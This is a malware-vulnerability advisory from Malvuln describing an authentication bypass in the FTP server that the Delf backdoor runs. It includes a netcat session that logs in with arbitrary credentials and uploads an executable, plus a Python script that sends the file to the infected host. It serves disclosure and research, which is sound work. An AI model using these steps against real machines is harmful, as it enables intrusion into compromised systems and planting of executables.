Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https://malvuln.com/advisory/b3b19524967d22d6eb7517b03b660b00.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Delf.arh Vulnerability: Authentication Bypass Description: The malware runs an FTP server. Third-party adversarys who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands. Family: Delf Type: PE32 MD5: b3b19524967d22d6eb7517b03b660b00 Vuln ID: MVID-2022-0650 Disclosure: 10/22/2022 Exploit/PoC: C:\>nc64.exe 192.168.18.125 21 220 ICS FTP Server ready. USER malvuln 331 Password required for malvuln. PASS malvuln 230 User malvuln logged in. SYST 215 UNIX Type: L8 Internet Component Suite CDUP \ 250 CWD command successful. "C:/" is current directory. PASV 227 Entering Passive Mode (192,168,18,125,246,88). STOR DOOM_SM.exe 150 Opening data connection for DOOM_SM.exe. 226 File received ok from socket import * MALWARE_HOST="192.168.18.125" PORT=63064 DOOM="DOOM_SM.exe" def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) f = open(DOOM, "rb") EXE = f.read() s.send(EXE) while EXE: s.send(EXE) EXE=f.read() s.close() print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).